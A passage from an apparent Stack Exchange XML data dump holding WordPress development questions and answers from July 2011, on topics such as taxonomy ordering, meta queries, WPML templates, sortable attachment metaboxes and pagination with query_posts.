?&amp;gt;&amp;lt;/blockquote&amp;gt;&amp;lt;/dt&amp;gt;&#xA;        &amp;lt;dd&amp;gt;&amp;lt;cite&amp;gt;&amp;lt;?php echo $source; ?&amp;gt;&amp;lt;/cite&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;&#xA;    &amp;lt;/dl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3430" LastActivityDate="2011-07-26T09:07:48.150" Title="Order posts by custom taxonomy - display taxonomy label only once" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;sort&gt;" />
  <row Id="24079" PostTypeId="2" ParentId="1059" CreationDate="2011-07-26T09:11:55.403" Score="0" ViewCount="" Body="&lt;p&gt;Here's how to remove or modify the footer text in the WP admin, put this into &lt;code&gt;functions.php&lt;/code&gt; of your theme :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modify_admin_footer () {&#xA;  echo 'Developped by &amp;lt;a href=&quot;http://www.mycompany.com&quot; target=&quot;_blank&quot;&amp;gt;My company&amp;lt;/a&amp;gt;';&#xA;}&#xA;add_filter('admin_footer_text', 'modify_admin_footer');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-26T09:11:55.403" />
  <row Id="24080" PostTypeId="2" ParentId="24075" CreationDate="2011-07-26T09:20:08.207" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; : Here are two plugins that may accomplish what you need&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/html-javascript-adder/&quot; rel=&quot;nofollow&quot;&gt;HTML Javascript Adder&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/jinx-the-javascript-includer/&quot; rel=&quot;nofollow&quot;&gt;JinX - The Javascript Includer&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-26T16:18:29.117" LastActivityDate="2011-07-26T16:18:29.117" CommentCount="2" />
  <row Id="24081" PostTypeId="2" ParentId="24068" CreationDate="2011-07-26T09:27:14.367" Score="-1" ViewCount="" Body="&lt;p&gt;I don't need to replace action URL, I need to add some stuff in &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; tag, just like it's shown in the original post (see last 2 lines).&lt;/p&gt;&#xA;" OwnerUserId="7342" LastActivityDate="2011-07-26T09:27:14.367" CommentCount="1" />
  <row Id="24082" PostTypeId="1" CreationDate="2011-07-26T09:30:39.573" Score="2" ViewCount="57" Body="&lt;p&gt;I need to give each page a custom/different page template for every language page in WPML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: Let i have a test page in English and french. Is there any way out so that in English i give sidebar template while same page in french don't have sidebar template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Solution should not be any core condition to be put in code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7341" LastActivityDate="2011-07-26T11:43:00.207" Title="Need to give custom page template for each language in WPML" Tags="&lt;template&gt;&lt;page-template&gt;&lt;plugin-wpml&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="24083" PostTypeId="1" AcceptedAnswerId="24084" CreationDate="2011-07-26T09:39:56.470" Score="2" ViewCount="54" Body="&lt;p&gt;I'm a bit of a PHP MySQL newb but i feel i need to bypass WordPress for the frontend of a site i'm building (it is mainly just RSS and JSON feeds). I was wondering if there are any tutorials or advice I should follow on this or just cut straight to it? &lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-07-26T09:53:41.403" Title="WordPress as a backend only. How to output database content on public side without WordPress?" Tags="&lt;php&gt;&lt;front-end&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24084" PostTypeId="2" ParentId="24083" CreationDate="2011-07-26T09:53:41.403" Score="3" ViewCount="" Body="&lt;p&gt;You want to include &lt;code&gt;wp-load.php&lt;/code&gt; at the beginning of your script/page like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(&quot;/path/to/wordpress/wp-load.php&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then have access to any WP functions. To manipulate the DB directly, have a look at &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wpdb&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-26T09:53:41.403" CommentCount="2" />
  <row Id="24085" PostTypeId="1" CreationDate="2011-07-26T10:05:21.197" Score="1" ViewCount="39" Body="&lt;p&gt;I'm trying to query for a custom post type for a gallery system. I have a checkbox to set a gallery as a &quot;featured&quot; gallery (set up through More Fields plugin) - if this is checked then the meta value becomes 1 and then if unchecked it becomes 0. All good. However if the box has never been checked then the meta key is never created, meaning I can't query for NOT LIKE 1 because it doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query I want is to pull out 4 galleries that aren't marked as '1' in this meta value, but also those that don't have this value at all. Is there a way to always give newly added posts a default value for this meta key (ie always make them 0 by default if the box is left unchecked) or is there a way to query for the key not yet being set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current query is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;                        'post_type' =&amp;gt; 'gallery',&#xA;                        'showposts' =&amp;gt; 4,&#xA;                        'meta_key' =&amp;gt; 'gal-ID',&#xA;                        'order_by' =&amp;gt; 'meta_value',&#xA;                        'order' =&amp;gt; 'ASC',&#xA;                        'meta_query' =&amp;gt; array( array(&#xA;                                            'key' =&amp;gt; 'main-gal',&#xA;                                            'value' =&amp;gt; false,&#xA;                                        ) ),&#xA;                        ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I've tried various attempts with 'compare' =&gt; 'NOT LIKE', '!=' etc etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? This ticket seems to imply it's something that ought to be sorted out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/18158&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/18158&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7343" LastActivityDate="2011-08-25T22:34:53.800" Title="meta_query for keys that aren't yet set" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;meta-query&gt;" AnswerCount="1" />
  <row Id="24087" PostTypeId="1" CreationDate="2011-07-26T10:25:33.730" Score="1" ViewCount="35" Body="&lt;p&gt;Just wondering, If any body have integrated &lt;a href=&quot;http://lab.chasepaymentechxpress.com/Integration/Integration_Tools/Commerce_Web_Services.aspx&quot; rel=&quot;nofollow&quot;&gt;Chase Paymentech Payment Gateway&lt;/a&gt; with WordPress for Shopping Cart purpose?&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2011-08-26T08:34:58.030" Title="Wordpress Ecommerce Chase Paymentech Integration" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="24088" PostTypeId="2" ParentId="24082" CreationDate="2011-07-26T10:37:48.793" Score="2" ViewCount="" Body="&lt;p&gt;You can accomplish different sidebar content per language with either the &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;plugin Widget Logic&lt;/a&gt;, or with the &lt;a href=&quot;http://wordpress.org/extend/plugins/dynamic-widgets/&quot; rel=&quot;nofollow&quot;&gt;Dynamic Widgets plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can make different sidebar templates per language and use a conditional on the language:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(ICL_LANGUAGE_CODE=='en'){&#xA;get_sidebar('en');&#xA;}&#xA;if(ICL_LANGUAGE_CODE=='fr'){&#xA;get_sidebar('fr');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-07-26T10:37:48.793" />
  <row Id="24089" PostTypeId="2" ParentId="23843" CreationDate="2011-07-26T10:45:13.190" Score="2" ViewCount="" Body="&lt;p&gt;I'm not entirely sure what your intentions are for the code, and unfortunately i didn't find what you provided worked very well, so i rewrote parts of the code supplied to make it into a more workable solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will work for saving the attachment order in the metabox on &lt;code&gt;save&lt;/code&gt;, not via ajax, but realistically there's no reason to save those changes on every sort(is there?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I refactored the code so you can adjust the post type at the top of the code. I'm not sure what you aiming for with the enqueue call, and pretty sure it can't be called in the way you were doing, nor was it needed on the post editor page anyway(sortable and the necessary scripts are already available/loaded on the editor screen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give this a shot and see how you get on.. (note this is a working sample)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Not applicable to my testing, but left it in because i'm sure it's appropriate to your usage&#xA;add_theme_support( 'post-thumbnails' );&#xA;add_image_size( 'editor-thumb', 130, 72, true );&#xA;&#xA;// Quicker to update one line than several, only reason it's defined here&#xA;$my_post_type = 'book';&#xA;&#xA;// Add metabox on the proper metabox hook&#xA;add_action( 'add_meta_boxes_' . $my_post_type, 'add_image_sortable_box',   2000 );&#xA;&#xA;// Fire jQuery only on the appliable pages&#xA;add_action( 'admin_footer-post.php',           'add_sortable_to_elements', 2000 );&#xA;add_action( 'admin_footer-post-new.php',       'add_sortable_to_elements', 2000 );&#xA;&#xA;function add_image_sortable_box() {&#xA;    global $my_post_type;&#xA;    add_meta_box( 'test-image-thing', 'Sortable Attachments Test', 'do_image_metabox_thingy', $my_post_type, 'side', 'default' );&#xA;}&#xA;&#xA;function add_sortable_to_elements() { &#xA;    ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    //&amp;lt;![CDATA[&#xA;        jQuery(document).ready(function($) {&#xA;            $('#attachmentcontainer').sortable();   &#xA;        });&#xA;    //]]&amp;gt;&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;function do_image_metabox_thingy( $p ) { &#xA;&#xA;    // No global statement needed here, the hook this function is attached to gives you the post object&#xA;&#xA;    $args = array(&#xA;        'order'          =&amp;gt; 'asc',&#xA;        'orderby'        =&amp;gt; 'menu_order',&#xA;        'post_type'      =&amp;gt; 'attachment',&#xA;        'post_parent'    =&amp;gt; $p-&amp;gt;ID,&#xA;        'post_mime_type' =&amp;gt; 'image',&#xA;        'post_status'    =&amp;gt; null,&#xA;        'numberposts'    =&amp;gt; -1,&#xA;    );&#xA;&#xA;    $attachments = get_posts( $args );&#xA;&#xA;    if( $attachments ) :&#xA;&#xA;        // Only need 1 nonce to cover the lot&#xA;        wp_nonce_field( 'my_attachment_sort', 'attachment_sort_nonce' );&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;imageuploader&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;attachmentcontainer&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        foreach( $attachments as $attachment ) :&#xA;            $attachmentid = $attachment-&amp;gt;ID;&#xA;            $editorimage = wp_get_attachment_image_src( $attachment-&amp;gt;ID, 'editor-thumb', false, false);&#xA;        ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;attachment&quot; id=&quot;test-&amp;lt;?php echo $attachment-&amp;gt;ID; ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;image&quot;&amp;gt;&#xA;                    &amp;lt;img width=&quot;100&quot; height=&quot;auto&quot; src=&quot;&amp;lt;?php echo $editorimage[0]; ?&amp;gt;&quot; /&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;att_id[]&quot; id=&quot;att_id&quot; value=&quot;&amp;lt;?php echo $attachment-&amp;gt;ID; ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;        endforeach;&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;div style=&quot;clear: both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;      &#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    endif;&#xA;}&#xA;&#xA;// Updates the attachments when saving&#xA;add_filter( 'wp_insert_post_data', 'test_meta_save', 1000, 2 );&#xA;&#xA;function test_meta_save( $data, $_post_vars ) {&#xA;    global $my_post_type;&#xA;    if( $my_post_type != $data['post_type'] || !isset( $_post_vars['attachment_sort_nonce'] ) )&#xA;        return $data;&#xA;&#xA;    if( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;        return $data;&#xA;&#xA;    if( !wp_verify_nonce( $_post_vars['attachment_sort_nonce'], 'my_attachment_sort' ) )&#xA;        return $data;&#xA;&#xA;    global $post_ID;&#xA;&#xA;    if( !current_user_can( 'edit_post', $post_ID ) ) &#xA;        return $data;&#xA;&#xA;    if( isset( $_post_vars['att_id'] ) ) {&#xA;        foreach( $_post_vars['att_id'] as $img_index =&amp;gt; $img_id ) {&#xA;            $a = array(&#xA;                'ID' =&amp;gt; $img_id,&#xA;                'menu_order' =&amp;gt; $img_index&#xA;            );&#xA;            wp_update_post( $a );&#xA;        }&#xA;    }&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course make sure to switch the post type value, book is my testing post type.. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any questions, add them to your original question, then drop a comment onto this answer to let me know..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-26T13:13:49.577" LastActivityDate="2011-07-26T13:13:49.577" CommentCount="3" />
  <row Id="24090" PostTypeId="1" CreationDate="2011-07-26T11:14:33.197" Score="-1" ViewCount="42" Body="&lt;p&gt;I've tried this inside of my plugin ('init' hook) but it doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_front_page() || is_singular() || is_archive()) { ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How could I check it using init hook?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7345" LastActivityDate="2011-07-26T11:45:47.030" Title="plugin: 'init' hook, check if we're not in admin" Tags="&lt;wp-admin&gt;&lt;hooks&gt;&lt;frontpage&gt;&lt;init&gt;&lt;frontend&gt;" AnswerCount="1" />
  <row Id="24091" PostTypeId="2" ParentId="24073" CreationDate="2011-07-26T11:41:23.630" Score="1" ViewCount="" Body="&lt;p&gt;OK, I almost got it now...&#xA;I extended the Walker_Page Class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Walker_Child_Classes extends Walker_page {&#xA;function start_el(&amp;amp;$output, $page, $depth, $args, $current_page) {&#xA;if ( $depth )&#xA;$indent = str_repeat(&quot;\t&quot;, $depth);&#xA;else&#xA;$indent = '';&#xA;&#xA;extract($args, EXTR_SKIP);&#xA;&#xA;$output .= $indent . '&amp;lt;li class=&quot;' . apply_filters( 'the_title', $page-&amp;gt;post_name, $page-&amp;gt;ID ) . '&quot;&amp;gt;&amp;lt;a href=&quot;' . get_page_link($page-&amp;gt;ID) . '&quot; title=&quot;' . esc_attr( wp_strip_all_tags( apply_filters( 'the_title', $page-&amp;gt;post_title, $page-&amp;gt;ID ) ) ) . '&quot;&amp;gt;' . $link_before . apply_filters( 'the_title', $page-&amp;gt;post_title, $page-&amp;gt;ID ) . $link_after . '&amp;lt;/a&amp;gt;';&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And added the following to my Page Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sWalker = new Walker_Child_Classes();&#xA;wp_list_pages( array( 'title_li' =&amp;gt; null, 'walker' =&amp;gt; $sWalker, 'sort_column' =&amp;gt; 'menu_order', 'child_of' =&amp;gt; $post-&amp;gt;ID ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;timeline&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;Future&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;Current&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;Past&quot;&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not happy about the Capitals (it takes the Page name after all), but if this is what it is, then I can live with that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has a suggestion on how to get the &lt;strong&gt;real slug&lt;/strong&gt; that would be highly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited the code with the suggestion of @mike23&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="2015" LastEditorDisplayName="" LastEditDate="2011-07-26T12:51:46.967" LastActivityDate="2011-07-26T12:51:46.967" CommentCount="2" />
  <row Id="24092" PostTypeId="2" ParentId="23669" CreationDate="2011-07-26T11:41:27.733" Score="2" ViewCount="" Body="&lt;p&gt;Ok. I've found a solution. Thanks to &lt;a href=&quot;http://coding.smashingmagazine.com/2011/06/08/how-to-build-a-media-site-on-wordpress-part-2/&quot; rel=&quot;nofollow&quot;&gt;this great article on Smashing Magazine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code to retrieve category description from any taxonomy term would be:&#xA;   &lt;code&gt;&amp;lt;?php echo (get_term_by('slug', 'your-term-name', 'your-taxonomy-name')-&amp;gt;description); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as simple as that:))&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2011-07-26T11:41:27.733" />
  <row Id="24093" PostTypeId="2" ParentId="24082" CreationDate="2011-07-26T11:43:00.207" Score="0" ViewCount="" Body="&lt;p&gt;You can't, unless you create your own &quot;Page Attributes&quot; meta box, and remove the default one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since a post can only have one template assigned, you'll need to create your own function that checks the page templates assigned to the current post and select the one which matches to the selected language (use a different meta key), then do your own template_redirect.&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-26T11:43:00.207" />
  <row Id="24094" PostTypeId="2" ParentId="24090" CreationDate="2011-07-26T11:45:47.030" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;init&lt;/code&gt; is too early for &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;conditional tags&lt;/a&gt; to work. It marks when core finished loading, but no environment is set up yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For admin area only you can hook into &lt;code&gt;admin_init&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For conditionals on front end earliest hook you can reliable use is &lt;code&gt;template_redirect&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-26T11:45:47.030" CommentCount="2" />
  <row Id="24095" PostTypeId="2" ParentId="24038" CreationDate="2011-07-26T12:14:17.763" Score="2" ViewCount="" Body="&lt;p&gt;You can look at adding an image size to your themes &lt;code&gt;functions.php&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_image_size&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then just need to do &lt;code&gt;&amp;lt;?php the_post_thumbnail('image-size-name'); ?&amp;gt;&lt;/code&gt; and it will pull out the image based on the sizes you set.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-26T12:14:17.763" CommentCount="1" />
  <row Id="24096" PostTypeId="2" ParentId="24064" CreationDate="2011-07-26T12:16:43.407" Score="1" ViewCount="" Body="&lt;p&gt;In case of wordpress.com your subdomain blog has it's own robot.txt which you have to edit to stop bots from crawling page.Unfortunately there is no official way to do this inside wordpress.com. Self hosted wordpress makes it easy to do so. But in case of wordpress.com, you have to rely on dashboard option to stop them. &lt;/p&gt;&#xA;" OwnerUserId="6071" LastActivityDate="2011-07-26T12:16:43.407" />
  <row Id="24097" PostTypeId="1" CreationDate="2011-07-26T12:24:00.983" Score="0" ViewCount="22" Body="&lt;p&gt;I am trying to use this code to display something in the 'single.php' file on the theme when the post is of a certian catagory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = get_query_var('cat');&#xA;if ($cat == '4') {&#xA;echo &quot;post&quot;;&#xA;} else {&#xA;echo &quot;no data&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it seems to ignore the $cat var query and as such on every post display the no data message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cat var is not in the url.&lt;/p&gt;&#xA;" OwnerUserId="7347" LastActivityDate="2011-07-26T12:40:15.103" Title="Is there a way to only show Custom Meta Data on single posts from certain catagories" Tags="&lt;categories&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="24098" PostTypeId="2" ParentId="24097" CreationDate="2011-07-26T12:40:15.103" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_query_var('cat');&lt;/code&gt;  only returns the category id in a category archive page; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in a single post, try to use, for instance:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_get_post_categories()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if( in_array(4, wp_get_post_categories($post-&amp;gt;ID)) ) :&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_post_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_post_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-26T12:40:15.103" CommentCount="1" />
  <row Id="24099" PostTypeId="1" AcceptedAnswerId="24109" CreationDate="2011-07-26T13:01:05.897" Score="0" ViewCount="33" Body="&lt;p&gt;How can I allow people to post comments on a page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've put this into my page template: &lt;code&gt;&amp;lt;?php comments_template(); ?&amp;gt;&lt;/code&gt; but it just says at the bottom of my page &quot;Comments closed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;If I can allow comments for one specific template for a page that would be great.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-07-26T14:43:23.420" Title="How can I add comments to a page?" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="24100" PostTypeId="1" CreationDate="2011-07-26T13:25:26.997" Score="0" ViewCount="19" Body="&lt;p&gt;I have a category-based navigation that is working well: /category/dogs/ and /category/cats/  Now I want to enforce a tax_query to produce a subset of results of the query string query - however tax-query is overriding it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got any ideas on this please?&lt;/p&gt;&#xA;" OwnerUserId="5105" LastActivityDate="2011-07-26T13:25:26.997" Title="How do I query based on a combination of the query string and tax_query?" Tags="&lt;query-posts&gt;" CommentCount="2" />
  <row Id="24101" PostTypeId="2" ParentId="24085" CreationDate="2011-07-26T13:27:01.740" Score="0" ViewCount="" Body="&lt;p&gt;As the ticket pointed out, it's not supported.. until then you'll have to rely on a custom solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few users have asked for this before, or at least asked how to do it over on the WordPress.org forums, so i wrote a function to do the job which i never kept hold of(pastebinned), fortunately i found the original topic where i provided the pastebin link(which shouldn't expire).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/kgLt1RrG&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/kgLt1RrG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote that 8 months ago and i've not tested it(since then), so let me know of any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-26T13:27:01.740" CommentCount="1" />
  <row Id="24102" PostTypeId="1" AcceptedAnswerId="24320" CreationDate="2011-07-26T13:37:08.317" Score="0" ViewCount="48" Body="&lt;p&gt;I've customized a theme and am having some problems with search results using multiple-word queries. Site is live at &lt;a href=&quot;http://abetterworldbydesign.com&quot; rel=&quot;nofollow&quot;&gt;www.abetterworldbydesign.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.abetterworldbydesign.com/?s=press&quot; rel=&quot;nofollow&quot;&gt;Searching for a single word&lt;/a&gt; works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.abetterworldbydesign.com/?s=press%20releases&quot; rel=&quot;nofollow&quot;&gt;Searching for multiple words&lt;/a&gt; that should have returned results shows blank results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly enough, &lt;a href=&quot;http://www.abetterworldbydesign.com/?s=press&amp;amp;releases&quot; rel=&quot;nofollow&quot;&gt;manually changing the &quot;+&quot; character in the URL to &quot;&amp;amp;&quot;&lt;/a&gt; displays the results correctly but only shows the first word in the header &quot;Search results for:_&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code in search.php for initializing WP_Query follows exactly &lt;a href=&quot;http://codex.wordpress.org/Creating_a_Search_Page#Preserving_Search_Page_Results_and_Pagination&quot; rel=&quot;nofollow&quot;&gt;the code listed in the codex&lt;/a&gt;. Full code for &lt;a href=&quot;http://pastebin.com/tjGsDePY&quot; rel=&quot;nofollow&quot;&gt;search.php on pastebin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code for searchform.php below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;searchform&quot; name=&quot;searchform&quot; method=&quot;get&quot; action=&quot;&amp;lt;?php echo home_url(); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;s&quot; name=&quot;s&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;&amp;lt;?php esc_attr_e( 'Search', 'richwp' ); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7313" LastActivityDate="2011-07-28T14:58:36.113" Title="Search Results not displaying for multiple word search" Tags="&lt;theme-development&gt;&lt;search&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24103" PostTypeId="1" AcceptedAnswerId="24108" CreationDate="2011-07-26T13:44:21.577" Score="0" ViewCount="41" Body="&lt;p&gt;I have added query_posts() to my index.php file to modify the loop on the posts page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( 'cat=-4,-7' );&#xA;get_template_part( 'loop', 'index' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works correctly, but when I click on &quot;Older Posts&quot; (link to /page/2), the latest posts show up instead of the previous ones. How can I get my pagination to show the correct posts?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-27T20:55:51.223" Title="Pagination Not Working When Modifying Loop Based on Post Category" Tags="&lt;pagination&gt;&lt;loop&gt;" AnswerCount="3" />
